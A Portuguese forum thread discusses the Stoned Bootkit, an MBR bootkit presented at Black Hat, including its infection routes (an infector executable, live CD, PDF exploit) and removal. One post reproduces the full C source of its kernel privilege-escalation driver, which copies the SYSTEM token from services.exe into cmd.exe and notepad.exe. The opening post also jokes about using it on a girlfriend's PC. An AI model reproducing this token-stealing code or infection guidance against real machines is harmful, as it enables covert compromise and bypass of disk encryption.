• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

herakty

Stoned Bootkit

40 mensagens neste tópico

um bootkit é um sistema de boot que permite acesso total a um PC windows mesmo que este esteja protegido com password de administração e boot.

têm tb capacidades de desincriptação de drives NTSF (encriptas standard do windows) e até drives TrueCrypt (encriptadas com software extra)

têm varios objectivos desde à simples situação em que perdemos a password de um PC nosso, aceder ao da namorada :D mas a ideia deste topico é aumentar a noção de segurança e para que se apercebam do que é possivel para melhor se protegerem

http://www.stoned-vienna.com/

What is Stoned Bootkit and why should you concern?

A bootkit is a boot virus that is able to hook and patch Windows to get load into the Windows kernel, and thus getting unrestricted access to the entire computer. It is even able to bypass full volume encryption, because the master boot record (where Stoned is stored) is not encrypted. The master boot record contains the decryption software which asks for a password and decrypts the drive. This is the weak point, the master boot record, which will be used to pwn your whole system. No one's secure!

For whom is Stoned Bootkit interesting?

1. Black Hats

2. Law enforcement agencies

3. Microsoft

Why is Stoned something new? Because it is the firts bootkit that..

  - attacks Windows XP, Sever 2003, Windows Vista, Windows 7 with one single master boot record

  - attacks TrueCrypt full volume encryption

  - has integrated FAT and NTFS drivers

  - has an integrated structure for plugins and boot applications (for future development)

With Stoned Bootkit you can install any software (for example a trojan) on any computer running Windows without knowing any password, even when the hard disk is fully encrypted. Relate questions from the Black Hat presentation and general questions:

1. Can the BIOS MBR protection prevent the attack?

No, because the BIOS is not called to write the MBR to disk. Windows has its own native hard disk drivers that are directly accessing the hard disk. The MBR protection in the BIOS works only with DOS and Windows 95/98.

2. Can hardware encryption prevent the attack?

Only for physical access. The attack is still possible under a running Windows because the hardware encryption is a layer below. The Stoned software will be stored encrypted by the hardware encryption and decrypted on startup, so it will still become active when starting.

3. How can Stoned be removed?

In the framework, execute Restore.exe from the 'Executables' directory. Alternatively you can use the Windows Recovery Console (from the installation boot CD) and run 'fixmbr' for Windows XP/2003 and 'bootrec /FixMbr' for Windows Vista. That command overwrites the master boot record with the default one and thus overwrites Stoned.

4. How can Stoned be installed?

There is the Windows infector (Infector.exe in the framework), the Live CD (physical access) and the PDF infector (using an exploit to infect the system when the PDF is viewed) available. See below for more information.

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Experimentei isto por curiosidade numa VM, e o MBR fica efectivamente alterado. Corri o Infector.exe e depois o Restore.exe, entre as chamadas a estes programas espreitei a entrada do primeiro sector de arranque com uma ferramenta chamada HDHacker.

No entanto, não consegui verificar a modificação de privilégios, porque obtinha sempre o username normal do utilizador do PC, e não o mostrado no vídeo. Estava em Windows XP.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Eu estive a ler o código da elevação de privilégios e, se aquilo resulta, é ridiculo. A única coisa que aquilo faz é procurar o processo "services.exe" (que corre como SYSTEM ou assim), copiam a zona de memória que tem o Security Token (suponho que seja aquilo que o Windows usa para determinar os privilégios do processo), e reescrevem o Security Token do próprio processo com essa cópia.

Seriously, se aquilo resulta, o Windows ainda é mais patético que o que eu pensava.

Já agora, fica aqui o código, pode ser interessante para quem gosta de C:

/* Vipin Kumar Black Hat Europe 2007 vbootkit inspired privilege escalation */

void PrivilegeEscalation(IN PVOID StartContext)
{
  PEPROCESS CurrentProcess, ServiceProcess, FirstProcess;
  DWORD ServiceSecurityToken;
  RTL_OSVERSIONINFOW OSVersionInfo;
  DWORD OffsetAPL, OffsetIN, OffsetST;

  CurrentProcess = /*PsInitialSystemProcess;//*/IoGetCurrentProcess();
//  ServiceProcess = CurrentProcess;

/*  OS                      ActiveProcessLink   ImageName           SecurityToken
    Windows 2000            + A0h               ++ 15Ch             ++ 8Ch              SP4, verified by PK
    Windows XP SP0          + 88h               ++ ECh              ++ 40h              verified by PK
    Windows XP SP2          + 88h               ++ ECh              ++ 40h              verified by PK
    Windows Server 2003     + 88h               ++ CCh              ++ 40h              verified by PK
    Windows Server 2003 R2  + 98h               ++ CCh              ++ 40h              verified by PK
    Windows Vista           + A0h               ++ ACh              ++ 40h              SP0, SP1, verified by PK
    Windows Server 2008     + A0h               ++ ACh              ++ 40h              verified by PK
    Windows 7               + B8h               ++ B4h              ++ 40h              verified by PK
*/

  // set offsets according to the operating system (and above table)
  OSVersionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW);
  PsGetVersion(&OSVersionInfo.dwMajorVersion, &OSVersionInfo.dwMinorVersion, NULL, NULL);

  if (!(OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 0))      // RtlGetVersion() is only support on XP and higher
    RtlGetVersion(&OSVersionInfo);

  if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 0)         // Windows 2000
  { OffsetAPL = 0xA0; OffsetIN = 0x15C;  OffsetST = 0x8C;  }
  else if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 1)    // Windows XP
  { OffsetAPL = 0x88; OffsetIN = 0xEC;  OffsetST = 0x40;  }
  else if (OSVersionInfo.dwMajorVersion == 5 && OSVersionInfo.dwMinorVersion == 2)    // Windows Server 2003
  { OffsetAPL = 0x88; OffsetIN = 0xCC;  OffsetST = 0x40;  
    if (OSVersionInfo.dwBuildNumber == 3790)  OffsetAPL += 0x10;  }                   // Windows Server 2003 R2
  else if (OSVersionInfo.dwMajorVersion == 6 && OSVersionInfo.dwMinorVersion == 0)    // Windows Vista, Windows Server 2008
  { OffsetAPL = 0xA0; OffsetIN = 0xAC;  OffsetST = 0x40;  }
  else if (OSVersionInfo.dwMajorVersion == 6 && OSVersionInfo.dwMinorVersion == 1)    // Windows 7 RC
  { OffsetAPL = 0xB8; OffsetIN = 0xB4;  OffsetST = 0x40;  
    if (OSVersionInfo.dwBuildNumber == 7000)  OffsetIN = 0xAC;    }                   // Windows 7 Beta
  else
  {
    DbgPrint("Black Hat Europe 2007 cmd.exe privilege escalation is only supported on XP, Server 2003, Vista, Server 2008 and 7\n");
    return;
  }

  // find services.exe process structure
  ServiceProcess = *(PEPROCESS *)((BYTE *)CurrentProcess + OffsetAPL);
  ServiceProcess = *(PEPROCESS *)(ServiceProcess);

  while (1)
  {
    DbgPrint("Found Process: %s\n", (char *)ServiceProcess + OffsetIN);
    if (_stricmp((char *)ServiceProcess + OffsetIN, "services.exe") == 0)
      break;
    ServiceProcess = *(PEPROCESS *)(ServiceProcess);
  }
  
  ServiceSecurityToken = *(DWORD *)((DWORD *)ServiceProcess + OffsetST/4);
  DbgPrint("System Service Security Token: %08x\n", ServiceSecurityToken);

  // now escalate any cmd.exe, notepad.exe, King Kleissner process
  CurrentProcess = *(PEPROCESS *)((BYTE *)CurrentProcess + OffsetAPL);
  for (FirstProcess = CurrentProcess;  FirstProcess != *(PEPROCESS *)(CurrentProcess);  CurrentProcess = *(PEPROCESS *)(CurrentProcess))
  {
    if (  _stricmp((char *)CurrentProcess + OffsetIN, "cmd.exe") == 0         ||
          _stricmp((char *)CurrentProcess + OffsetIN, "notepad.exe") == 0     ||
          _stricmp((char *)CurrentProcess + OffsetIN, "King Kleissner") == 0  )
       {
         DbgPrint("Overwriting old Security Token: %08x\n", *(DWORD *)((DWORD *)CurrentProcess + OffsetST/4));
         ObReferenceObject((void *)ServiceSecurityToken);
         *(DWORD *)((DWORD *)CurrentProcess + OffsetST/4) = ServiceSecurityToken;
         DbgPrint("cmd.exe privilege escalated successfully!\n");
       }
  }
}

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Seriously, se aquilo resulta, o Windows ainda é mais patético que o que eu pensava.

Ainda não li grandes pormenores como funciona, mas lendo o site, reparei nisto:

Stoned v2

The next version of Stoned is currently under development. The next version is going to be more sophisticated than ever. Features:

- 64-bit support based on the implementation of vbootkit 2.0

- infecting all local and physical drives (including USB autorun and native flash drive infection)

- Linux support - experimental

Segundo o que ele diz, quem usa Linux também não parece estar muito seguro... :D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
Eu estive a ler o código da elevação de privilégios e, se aquilo resulta, é ridiculo. A única coisa que aquilo faz é procurar o processo "services.exe" (que corre como SYSTEM ou assim), copiam a zona de memória que tem o Security Token (suponho que seja aquilo que o Windows usa para determinar os privilégios do processo), e reescrevem o Security Token do próprio processo com essa cópia.

Seriously, se aquilo resulta, o Windows ainda é mais patético que o que eu pensava.

LOL... que cena incrivel... h3h3h3h3h3h... e realmente achei fabuloso traduzires os comentários no código... h3h3h3h3h33h

mas tu tens duvidas como funciona a autenticação em windows ou em linux? não percebeste que é a técnica que é brutal e não o sistema que é vulneravel? não vês que é um root kit em modo boot kit? Stoned loads before Windows starts and remains in memory  entendes?

:rant_01:

o WINDOWS nos dias de HOJE é tão SEGURO que o LINUX, se bem configurado... acabem com os mitos do tempo em que para entrar num windows bastava um NET USE ao C$.... esse tempo acabou    :)

o problema é que isto são tudo sistemas e TODOS os sistemas podem ser explorados de formas que não as pretendidas...

O Linux também é afectado por este tipo de técnicas... o escalar de previlégios não têm a ver com um OS em si

Stoned Bootkit aims to attack all versions of Microsoft Windows from XP through to the brand new Windows 7, including Server releases. Stoned loads before Windows starts and remains in memory, and comes with its own file system drivers, a plug-in engine and a collection of Windows “pwning” tools.

estamos a falar de um ROOT KIT em modo BOOT KIT... dai ser tão brutal e extraordinário

e apresentei também para poderem ver a combinação de técnicas como o exploit PDF e o infector... juntando várias peças atinge-se o impensavel... dai eu afirmar que não há segurança a 100%... há tanta coisa envolvida nos sistemas de hoje...

há root kits para todos os OS e como alguem inteligente reparou basta adaptar a outro SO e bingo

Ataque interessante, e parece-me que é possivel adaptar para outro OS com algum trabalho.

claro que sim... nota-se logo quando alguem posta com intenções técnicas e não apenas para mandar postas...

uma demo em video mt interessante onde é falado e explicado o conceito de root e boot kits

http://securitytube.net/Stoned-Bootkit-Demo-video.aspx

uma noticia onde se pode ver bem o "medo" que isto gera

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tens razão, aquilo é uma driver que é corrida pelo Stoned depois do rootkit estar instalado. Pensei que era o código que elevava os privilégios do processo para poder escrever na MBR e assim instalar o Stoned. Peço desculpa se ofendi os programadores da Microsoft ::)

Mesmo assim, o maior problema parece-me ser a infecção inicial que permite instalar o rootkit. Como eles dizem no vídeo:

a rootkit is actually a malicious program, which is generally installed by an hacker, once they have compromised the system.

Eu não estou muito por dentro deste assuntos específicos, mas se não houver infecção inicial, o rootkit (neste caso, bootkit) não pode ser instalado, certo?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Tens razão, aquilo é uma driver que é corrida pelo Stoned depois do rootkit estar instalado. Pensei que era o código que elevava os privilégios do processo para poder escrever na MBR e assim instalar o Stoned. Peço desculpa se ofendi os programadores da Microsoft ::)

Mesmo assim, o maior problema parece-me ser a infecção inicial que permite instalar o rootkit. Como eles dizem no vídeo:

Eu não estou muito por dentro deste assuntos específicos, mas se não houver infecção inicial, o rootkit (neste caso, bootkit) não pode ser instalado, certo?

Se tiveres acesso físico ao sistema, podes facilmente manipular o MBR. Caso não tenhas, provavelmente precisas de um kernel exploit para conseguir escrever na zona de memória do MBR (que deve estar protegida contra escrita).

Mas não tenho a certeza, acho que até só com chamadas a BIOS consegues fazê-lo.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Aquele "compromissed system" refere-se ter acesso físico/remoto ao sistema: basta um duplo clique no binário Infector.exe para ele escrever os dados para MBR, na hora! Peguem numa VM e dêem uma espreitadela ao MBR dessa máquina antes de ficar infectado e logo após.

Isso pode ser feito, por exemplo, com o HDHacker. Deixo aqui os resultados no meu caso, para Windows XP:

Antes de correr o Infector (normal) -> http://i37.tinypic.com/ohn7s1.jpg

Depois de correr o Infector ("stoned") -> http://i35.tinypic.com/25p46zp.jpg

O que não consigo entender é como é que é permitido escrever para essa zona de dados do disco, assim sem mais nem menos. Não percebo muito do assunto, mas suponho que deveria haver uma protecção qualquer por parte do SO contra isto não?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

O que não consigo entender é como é que é permitido escrever para essa zona de dados do disco, assim sem mais nem menos. Não percebo muito do assunto, mas suponho que deveria haver uma protecção qualquer por parte do SO contra isto não?

Pois, eu supus que aquele código era a escalada de privilégios que permitiriam ao processo escrever directamente no disco. Visto que não é, como o herakty bem referiu, ainda não sei como é que o faz.
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

O que não consigo entender é como é que é permitido escrever para essa zona de dados do disco, assim sem mais nem menos. Não percebo muito do assunto, mas suponho que deveria haver uma protecção qualquer por parte do SO contra isto não?

Sim, o OS pode e deve proteger contra chamadas directas à BIOS (e praticamente todos os SO desde o DOS fazem isso). Outra forma é usar a API do kernel/SO para escrever directamente nos sectores do disco.

Já agora também estou interessado em saber como é que isso é feito.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
Outra forma é usar a API do kernel/SO para escrever directamente nos sectores do disco.

Pois, mas para isso terás que correr o processo com privilégios elevados, não faz grande sentido o Adobe Reader cujo bug eles aproveitam ter "poder" para reescrever sectores do disco...
0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

antes demais saliento o facto de estarmos a falar das coisas mais complexas que há em segurança... é de um nivel técnico mt elevado e se não perceberem é normal... mt poucos mexem a este nivel... falam que um SO tranca acessos à BIOS mas esquecem-se que estas ferramentas são carregadas antes do SO e com técnicas de manipulação I/O

dois tipos de rootkit que mostram o que falo

Hardware/Firmware

A firmware rootkit uses device or platform firmware to create a persistent malware image. The rootkit can successfully hide in firmware, because firmware is not often inspected for code integrity. John Heasman demonstrated the viability of firmware rootkits in both ACPI firmware routines[7] and in a PCI expansion card ROM.[8]

In October 2008, the press reported that criminals had tampered with European credit card reading machines while they were still in the supply chain, and that these devices were intercepting customers' credit card details before transmitting the data to international criminals via the mobile phone network.[9] In March 2009, researchers published details of a BIOS-level rootkit for PC's that is able to survive harddisk replacement and re-installation of the operating system.[10]

Hypervisor level

These rootkits work by modifying the boot sequence of the machine to load themselves as a hypervisor under the original operating system. By exploiting hardware features such as Intel VT or AMD-V, the rootkit is able to load the original operating system as a virtual machine, thereby enabling it to intercept all hardware calls made by the original operating system, which is now a guest. The "SubVirt" laboratory rootkit, developed jointly by Microsoft and

University of Michigan researchers, is an academic example of a virtual machine based rootkit (VMBR),[11] while Blue Pill is another.

http://en.wikipedia.org/wiki/Rootkit#Hardware.2FFirmware

e há aqui duas questões...

uma é o root kit e outra é o boot kit... são diferentes mas juntas são uma arma poderosa e foi por isso que destaquei esse projecto aqui.

os root kits existem desde os tempos das BBS (buletim board system), a rede antes de internet e não posso deixar de salientar um facto interessante que é a origem do nome rootkit, pois mostra que a segurança/insegurança não têm a ver com um SO especifico como o windows e qualquer SO é seguro ou inseguro dependendo de mts factores, particularmente do utilizador... a origem do nome provêm de terem sido incialmente criados para sistemas unix/linux (que mts pensam erradamente ser invulneravel e totalmente seguro (como poderia ser?)) nos anos 80

não só começou em sistemas unix/linux (porque eram os usados como servidores na epoca. a M$ ainda não tinha um SO servidor que servisse) como começou na decada de 80 e não é algo recente como já se leu por ai

Os rootkits possuem esse nome por serem, inicialmente, “kits” de programas para a plataforma Linux/Unix para manter o acesso total ao sistema previamente comprometido, agindo como backdoor. Como “root” é o usuário com o controle total do computador nas plataformas, inicialmente só Unix, hoje proliferado em várias plataformas, originou-se o nome “rootkit” para denominar estes conjuntos de aplicativos.

basicamente um rootkit é um kit (um conjunto de ferramentas) que servem para instalar numa maquina alvo e assim ter-se controlo da mesma remotamente e sem que alguem saiba... alteram-se comandos e funcionalidades base do SO como o netstat e quando o admin usa esse comando, pensando que está a ver a realidade (as comunicações activas) mas na verdade está a ver um resultada adulterado... mt bom para esconder processos e comunicaçõesnum rootkit pode haver de tudo... comandos de SO, backdoors... e como já estão a ver não serve para um unico objectivo. diggamos que é um kit de crack e manutenção de acesso não autorizado

o bootkit como o nome diz é um kit para boot :) lol

isto tambem não é novo (a novidade foi a junção de bootkit, rootkit e exploitation, all in one) e há montes de bootkits por ai com outra intenções... tools como o bootcomander e tools como o bartPE usam estas técnicas

também pode ser util aceder-se a um PC nosso depois de perdermos a password de admin (já me aconteceu :))

por isso é importante a defesa fisica de um PC (um dos motivos porque não uso home banking), pois com acesso fisico a um PC é mt simples aceder-se ao mesmo... dai tb a importancia de um bom sistema de encriptação que curiosamente tb é uma das coisas que o stoned consegue crackar... o truecrypt que não é da M$. isto mostra que o problema não é o SO mas a qualidade de quem cria estas tools

á tb tools destinadas a combater rootkits como por exemplo este para linux

http://www.rootkit.nl/projects/rootkit_hunter.html

PDF mt interessante sobre root kits

https://www.cert.ipn.pt/pt/dw/docs/insecurity07Rootkit.pdf

alguns tópicos do P@P sobre rootkits

Tópico: ROOT KITS - The Ultimate Challenge

http://www.portugal-a-programar.pt/index.php?showtopic=3395

Rootkits - o que são?

http://www.portugal-a-programar.pt/index.php?showtopic=10182

RootKits - Linux

http://www.portugal-a-programar.pt/index.php?showtopic=11074

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

antes demais saliento o facto de estarmos a falar das coisas mais complexas que há em segurança... é de um nivel técnico mt elevado e se não perceberem é normal... mt poucos mexem a este nivel...

...

falam que um SO tranca acessos à BIOS mas esquecem-se que estas ferramentas são carregadas antes do SO e com técnicas de manipulação I/O

E tu não percebeste que ninguém está a falar disso.

Estamos a falar como é que o exploit consegue quebrar as protecções do SO para se instalar no MBR sem acesso fisíco ao sistema.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Exacto, estávamos a referir o facto de o SO não bloquear a tentativa de reescrever o MBR, isto no passo inicial da infecção, ainda num sistema limpo.

Acabei de experimentar numa conta limitada do Windows XP, e o MBR mantém-se intacto. Não sei como será nas versões mais recentes do Windows, mas em princípio deveria ser bloqueado. Ainda fica no ar o porquê do Windows permitir estas escritas ao MBR.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Bem, se fores root no Linux também podes escrever directamente no ficheiro virtual do disco (/dev/sda, por exemplo). O problema é que no XP todas as pessoas correm em administrador :)

A partir do Vista isso mudou. Mesmo que sejas administrador, tens que aceitar na janela do UAC. Por isso é que eu acho que o problema não é este bootkit, mas sim o bug que permite ao infector elevar os seus privilégios para escrever na MBR.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

antes demais sublinho o excelente contibuto de algumas pessoas que encaram isto na minha perspectiva... a do conhecimento técnico.

Estamos a falar como é que o exploit consegue quebrar as protecções do SO para se instalar no MBR sem acesso fisíco ao sistema.

isso não é questão e não têm a ver com um SO especifico... é uma funcionalidade que supostamente serve para bons propósitos, com fazer multi-boot e coisas do genero...

o linux permite escrever no MBR sem acesso fisico, basta um acesso por shell com acesso de root para que por formas normais e para fins administrativos, se possa escrever no MBR... mas como é o caso do tema do topico, se usarmos certas técnicas (no momento há mais exploits de kernel para linux, portantos a questão é mais complexa), então nem o céu é o limite e não há SO que seja inquebrável

explorem isso e vão ver mt coisa

O problema é que no XP todas as pessoas correm em administrador

mas porque é que continuas com esse tipo de afirmações? não falo nisto pela M$ que tb detesto... é pela verdade

desde o XP que o SO M$ para desktop (atenção que há a gama server que provavelmente não conheces pela forma como falas no windows como se fosse uma unica coisa) está satisfatoriamente desenvolvido e já não é aquelas aberrações anteriores, em que ai sim, fazia sentido essa atitude

mas hoje não... e mais uma vez para não falar na gama server (que têm das melhores proteções anti-exploit que foram desenvolvidas para SO´s e que desceram em mt as possibilidades de exploitation). digo que desde o XP, particularmente desde o SP2, que o windows para desktops é tão seguro quando o utilizador que o usa.. .o mesmo é para qualquer SO... podes ter o melhor produto mas se for mal usado...

desde o XP que há o user não admin, que é todos os users criados sem se dizer que é admin... como no linux. qual é a diferença?

então o windows server têm diversas credenciais especificas para serviços e servidores tipo HTTP server, com previlégios criados ao milimetro para o que esse serviço precisa... se bêm configurado os serviços como o HTTP server, mesmo que tenhas um exploit activo, pouco podes fazer devido a esse serviço correr numa conta sem previlégios

noto claramente que mt gente não conhece os sistemas windows mas FARTAM-SE DE OPINAR sem sentido acerca do mesmo... isso é no minimo RIDICULO e tráz graves problemas aos profissonais como eu... tudo o que é denegrir erradamente algo, é mau para os profissionais da area e para o negócio em geral

não conheces sufecientemente os SO´s XP, VISTA, SEVEN, SERVER 2003, SERVER 2008 para poderes falar deles, seja do que for e em particular sobre a sua segurança

a sério, e até há um topico neste forum onde isso foi esclarecido, mas pessoas desatentas e que em vez de querem aprender só querem mostrar...

mas repara que quem é que está mal? quem usa um SO que conhece bem, ou quem fala mal de um SO que conhece mal?

parece que há mais questões de segurança em windows que em linux mas isso não é verdade... o que se passa é que os users mais basicos só usam windows e claro.. isso pode provocar más estatisticas

o ppl mais hard usa linux por questões ideológicas, que nem são do teu tempo... tudo o que fazes em linux fazes em windwos... todas as ferramentas de cracking (hacking é outra coisa) que há em linux tb existem para windows

para com isso.. .e ainda por cima não é o ponto deste topico que como vimos fala de coisas que tanto afectam windows como linux

estou a preparar uns posts sobre credenciais e autenticação em windows (desktop e server, pois ai podem entrar coisas como  kerberos e active directory, levando as coisas para outro nivel) e linux, claro... também há LDAP e coisas mt interessantes :D

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Desculpa, quando eu disse isso não queria dizer que tivessem que correr como administrador. Ḿas na prática a maior parte das pessoas, se pudessem, faziam-no, porque era uma seca correr como Utilizador Limitado. Não conheço ninguém que o fizesse em casa.

Até porque muitos programas não corriam a menos que fosses administrador, obviamente que é culpa dos programas, não do SO, mas é verdade.

Aliás, isso é explicitamente referido num dos vídeos da MSDN sobre o UAC: http://channel9.msdn.com/shows/Going+Deep/UAC-What-How-Why/

Mas pronto, eu deixo de postar nos teus tópicos se te incomoda.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites
Aliás, isso é explicitamente referido num dos vídeos da MSDN sobre o UAC

como te tentei explicar o windows é mt mais do que aquilo que oferece para users basicos... um user avançado (no linux só um user avançado pode usa-lo correctamente... o mesmo com o windows) pode configurar mt coisa a nivel de segurança

até no XP pode criar policies (GPO´s) que são configurações de regras de utilização... pode parametrizar tudo ao pormenor. há as ACL´s e ACE´s

saber mais sobre GPO´s em XP... e XP é o fraquinho dos SO´s M$, pois a gama server é mt mais poderosa e oferce mts mais coisas

http://support.microsoft.com/kb/307882

como podes ver se calhar tens mais opções de "hardning-blindar um SO" em windows que em linux... mas acho que naõ se deve comparar pois o linux tambem é mt bom... cada um no seu lugar e o windows é mais facil de usar, o que não considero humilhantes mas sim mais produtividade

Mas pronto, eu deixo de postar nos teus tópicos se te incomoda.

tu postares não incomoda... certas coisas nos posts é que podem incomodar e para não falar no argumentar de questões técnicas com falsos argumentos, que deves comprender irrita... não tens de ser um expert técnico em tudo mas deves falar do que sabes para não ferir o rigor técnico, porque torna-se mt dificl para a pessoa que está a tentar explicar algo, conseguilo

nós só devemos contra-argumentar alguem quando sabemos do que estamos a falar ou então coloca-se uma questão...há mt coisa que não sei e ninguem sabe tudo... e todos começam pelo inicio e pouco a pouco vao assimilando conhecimentos, solidificando-se técnicamente

se a minha preocupação é o nivel técnico para que se possa aprender (eu aprendi com os que sabiam mais e agradeço isso tentando fazer por outros o que fizeram por mim), obviamente é espectavel que surjam pessoas com diferentes niveis técnicos e faz parte e ninguem com boas intenções pode dizer que essas pessoas não devem particiar... mas é a forma como se coloca as coisas...

deves compreender que para a pessoa que está a tentar passar um conceito técnico, é bastante irritante ver o seu trabalho ser baralhado e confundido com afirmações e argumentações sem fundamento técnico

portantos a questão não é a participação.. é a atitude. vejo claramente que mts posts são apenas para tentar "dizer-se" qualquer coisa contra, pensando-se erradamente que isso vai mostrar que sabemos mais. ninguem têm de saber mais mas sim temos de saber do que nos interessa e o que será util na nossa vida profisisional..e há a cena do contrariar que por vezes é mesmo para irritar (houve casos terriveis disso e por vezes alguem que não está a querer fazer isso mas a forma como apresenta as coisas faz-nos pensar que é mais um desses que querem mesmo só irritar... acho que não é aqui o caso...se fosse nao estaria a preocupar-me em esclarecer as coias e apenas ignorava

e há uma questão tambem que há algum tempo para cá têm vindo a ser debatida, e que para mts vejo já terem assimilado a ideia, que é os mitos em relação ao windows e ao linux, nomeadamente a nivel de segurança

eu adoro o linux... hoje uso o windows porque oferece um nivel de segurança e é mt melhor como estação multimedia e para jogos (raramente jogo mas de vez em quando um empire total warr sabe bêm), se usado correctamente, tão interessante como o linux. e tenho varias maquinas, mts deles em linux. até porque sou investigador na area de segurança e tenho de conhecer e explorar vários SO´s porque nos alvos podemos encontrar um mix...

há SO´s mais proprios para certas cenas, por exemplo tenho um PC que é uma firewall dedicada (o smoothawall... se queres uma proteção mais eficaz arranja um PC velhinho e instala o smootwall com um IDS tiop snort e  firewall que têm... servirá de proxy da tua rede e default gateway e será o primeiro PC por onde todas as comunicações passam antes de chegar ao teu PC...é a tecnologia das Aplicances (os ferraris da segugança)

[router ADSL]-[smootwall]-[rede interna] é a melhor proteção de rede e é a usada como perimetro a nivel empresarial

já vi certas aplicances super poderosas deixarem passar intrusões por má configuração...

se um gajo usa um ferrari e se espeta logo não vamos dizer que os ferraris não prestam, mas sim que o condutor era horrivel (não digo que o windows seja o ferrari dos SO´s, mas tb não considero que o linux o seja... certos unix´s sim... se querer mesmo ir para as cenas mais poderosas explorar certos unix´s

falar de SO sem se conhecer o mesmo e FALANDO mal, denegrindo-o com argumentos errados é algo mt mau e não tens consciencia do impacto que isso pode ter noutros, levando-os a ter uma ideia errada

provavelmente tu tens essa ideia porque foste assim mal informado por outro... e isso é um ciclo que não acaba, senão fizermos por isso e de repente há uma ideia erradamente concebida assimilada por mts como uma verdade técnica

hoje a M$ (que eu detesto como empresa) têm hoje uma coleção de SO (desktop e servers) com um nivel técnico interessante e com uma suite de ferramentas e funcionalidade administrativas mt poderosa... para gerir server farms e dominios mt grandes é excelente

estive numa equipe de segurança de um grande banco e claro, na data center há um misto de SO´s... podes ve lá de tudo.. os antigos AS-400 que ainda são o core, unix para certas cenas, linux para outras... onde se vê mais linux é nas apliances, tipo firewalls in a box e não é por questões de segurança mas de flexibilidade.. o linux ai ganha mt pois é constituido por mts partes independentes e podes criar uma distro minimalista só com aquilo que precisas... é excelente para apliances e aplicações assim

mas o directorio LDAP é sobre windows e é digamos a central de gestão de equipamentos e directorio de autenticação... usa-se kerberos como autenticação (estudo isso para veres como são as credenciais num dominio windows server com LDAP (Active Directory)

se eu tenho respondido é porque não te desprezo... se calhar outros não perdem tempo como eu a tentar explicar as cenas e se o faço é porque me preocupo em tentar informar correctamente

acho que é possivel lidar "todos com todos" desde que nos acertemos e se tiveres uma atitude mais coerente com os teus conhecimentos e não te refiras a esses mitos do linux ta-se bem :D

há o participar e participar... há o particiar positivo e isso é, claro que bêm vindo...

da minha parte e desde que respeites os sentimentos e trabalhos dos outros, ta-se bem, és bem-vindo e já viste que nuunca te ignorei e sempre dediquei tempo a te tentar explicar as coisas (mas por vezes sentime frustado por não estares a ver as questões técnicas correctamente... tens de endender o meu lado tb como eu tenho de entender o teu :))

criei a secção de segurança e acho que é o melhor forum nacional a nivel de segurança e preocupa-me mt que esse nivel se mantenha

teckV

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Exacto, estávamos a referir o facto de o SO não bloquear a tentativa de reescrever o MBR, isto no passo inicial da infecção, ainda num sistema limpo.

Acabei de experimentar numa conta limitada do Windows XP, e o MBR mantém-se intacto. Não sei como será nas versões mais recentes do Windows, mas em princípio deveria ser bloqueado. Ainda fica no ar o porquê do Windows permitir estas escritas ao MBR.

É de mim ou começou-se a discutir assuntos paralelos, e este ponto ficou por explicar?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

antes demais apresento uma apresentação da conferencia black hat e o paper do projecto com detalhes técnicos, pois é explorada info mt interessante sobre arquitecturas de SO e hardware

BlackHat Presentation

http://www.stoned-vienna.com/downloads/Presentation.pdf

Paper

http://www.stoned-vienna.com/downloads/Paper.pdf

É de mim ou começou-se a discutir assuntos paralelos, e este ponto ficou por explicar?

não estás atento :D pois respondi logo no inicio de um post

mas já agora deixa-me dizer que este projecto homenagea um dos anos 80 com o mesmo nome que

Stoned was an OS independent boot sector infector.
, logo não é uma questão do windows ou de um SO especifico... se verem na documentação do autor fartam-se de ver referido o facto de poder ser "modulado" para linux.. alias, a arquitectura do stoned está pensada por módulos, para que facilmente se adicione suporte para outros SO´s

e também temos de ter em conta que estes projectos mts vezes exploram o harware e o software para lá do que era suposto atravéz de exploitation... para mim exploitation é um grande termo que serve para quase tudo. prefiro usar esse termo do que outros como cracking ou hacking, pois há questões ideologicas mt importantes por detras... mas dizia que podem ver algo ser feito, mesmo que o SO não o permita... não acho que seja este o caso pois as técnias de boot estão acessiveis... mas tudo pode acontecer, dai eu dizer quye não há segurança a 100% e em nada :)

de mim próprio

isso não é questão e não têm a ver com um SO especifico... é uma funcionalidade que supostamente serve para bons propósitos, com fazer multi-boot e coisas do genero...

mas atenção que este Kit é mt mais que isso

o linux permite escrever no MBR sem acesso fisico, basta um acesso por shell com acesso de root para que por formas normais e para fins administrativos, se possa escrever no MBR... mas como é o caso do tema do topico, se usarmos certas técnicas (no momento há mais exploits de kernel para linux, portantos a questão é mais complexa), então nem o céu é o limite e não há SO que seja inquebrável

explorem isso e vão ver mt coisa

da documentação do stoned

The Master Boot Record contains a module “Disk System” to access the file systems (currently all FAT and NTFS versions are supported). Stoned is basically operating system independent, however, it currently only attacks Windows operating systems.

como já tinha dito não é uma questão de SO mas sim das arquitectura de hardware e da forma como lidam com os SO´s

eu realmente acho este projecto mt interessante para quem quer saber a sério de hardware e SO´s e como tal aconselho a lerem a documentação técnica do projecto, pois vão ver mts temas, com alto nivel de conhecimento serem abordados

